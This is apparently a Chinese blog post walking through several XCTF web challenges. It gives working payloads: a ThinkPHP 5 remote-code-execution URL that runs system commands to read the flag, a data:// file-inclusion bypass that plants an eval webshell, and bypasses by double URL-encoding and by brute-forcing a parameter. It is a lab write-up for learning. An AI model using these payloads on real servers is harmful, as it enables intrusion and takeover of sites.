当前位置:网站首页>xctf刷题小记
xctf刷题小记
2022-04-23 08:18:00 【quan9i】
前言
刷题学习知识,这次做做xctf的
php_rce
进入靶场后只看见了ThinkPHP V5
,我们去github上找对应的漏洞
由于没有说具体版本,因此我们这里随机尝试一个版本的进行注入
结果如下
注入成功,因此我们修改函数后面一点即可实现查找,报出flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../
获取flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac ../../../flag
得到flagflag{thinkphp5_rce}
漏洞具体成因可以参考这篇文章https://www.cnblogs.com/backlion/p/10106676.html
Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
这种include的,一般可以借用伪协议来getshell,这里过滤了php://
,但是还有data://
,我们构造payload如下
?page=data://text/plain,<?php system("ls")?>
没有找到flag,不找了,传木马再进行蚁剑连接
?page=data://text/plain,<?php @eval($_POST[1])?>
用蚁剑来getshell
Training-WWW-Robots
进入靶场
看题猜测是考察robots的,此时我们查看robots.txt
此时出现一个php文件,长得像flag,查看文件
有关robots的知识
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
robots.txt文件写法
User-agent: * 这里的代表的所有的搜索引擎种类,是一个通配符
Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录
Disallow: /require/ 这里定义是禁止爬寻require目录下面的目录
Disallow: /ABC/ 这里定义是禁止爬寻ABC目录下面的目录
Disallow: /cgi-bin/.htm 禁止访问/cgi-bin/目录下的所有以".htm"为后缀的URL(包含子目录)。
Disallow: /?* 禁止访问网站中所有包含问号 (?) 的网址
Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片
Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。
Allow: /cgi-bin/ 这里定义是允许爬寻cgi-bin目录下面的目录
Allow: /tmp 这里定义是允许爬寻tmp的整个目录
Allow: .htm$ 仅允许访问以".htm"为后缀的URL。
Allow: .gif$ 允许抓取网页和gif格式图片
Sitemap: 网站地图 告诉爬虫这个页面是网站地图
ics-06
提示说只有一处有痕迹,我们查看源代码发现index.php
访问
上面的id是1,那此时就可以考虑一下进行爆破,用bp抓包
选择numbers
,从1到3000,每一步走的距离为1,也就是说id从1变到3000
发现flag
PHP2
进入靶场的话只说我们是否能登录界面,没有其他信息,这里拿御剑扫一下(index.phps是自己添加到御剑字典里的)
访问index.phps后得到源码
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
这里的话我们对admin进行二次url编码即可(服务器解码一次,代码再解码一次)
我们这里用bp来进行二次编码
得到flag
upload1
上传个图片,然后抓包修改文件名和文件内容即可
版权声明
本文为[quan9i]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Reme_mber/article/details/124251865
边栏推荐
猜你喜欢
ESP32程序下载失败,提示超时
一个必看的微信小程序开发指南1-基础知识了解
QT compilation qtxlsx Library
stm32以及freertos 堆栈解析
洋桃电子STM32物联网入门30步笔记三、新建CubeIDE工程和设置讲解
Excle plus watermark
Search the complete navigation program source code
synchronized 实现原理
One click cleanup of pycharm and jupyter cache files under the project
STM32使用HAL库,整体结构和函数原理介绍
随机推荐
数论求a^b(a,b为1e12级别)的因子之和
Trust uses Tokio's notify and timeout to achieve the effect similar to the timeout condition variable
Online app resource download website source code
Using qlst excel file
Community group purchase applet source code + interface DIY + nearby leader + supplier + group collage + recipe + second kill + pre-sale + distribution + live broadcast
耳穴诊疗随笔0421
idea底栏打开services
正点原子携手OneOS直播 OneOS系统教程全面上线
让地球少些“碳”息 度能在路上
Navicat remote connection MySQL
WordPress love navigation theme 1.1.3 simple atmosphere website navigation source code website navigation source code
对li类数组对象随机添加特性,并进行排序
第一性原理 思维导图
rembg 分割mask
colorui 解决底部导航遮挡内容问题
Copy array in JS
Knowledge points and problem solutions related to information collection
Qtablewidget header customization and beautification developed by pyqt5 (with source code download)
线程的调度(优先级)
Use of applicationreadyevent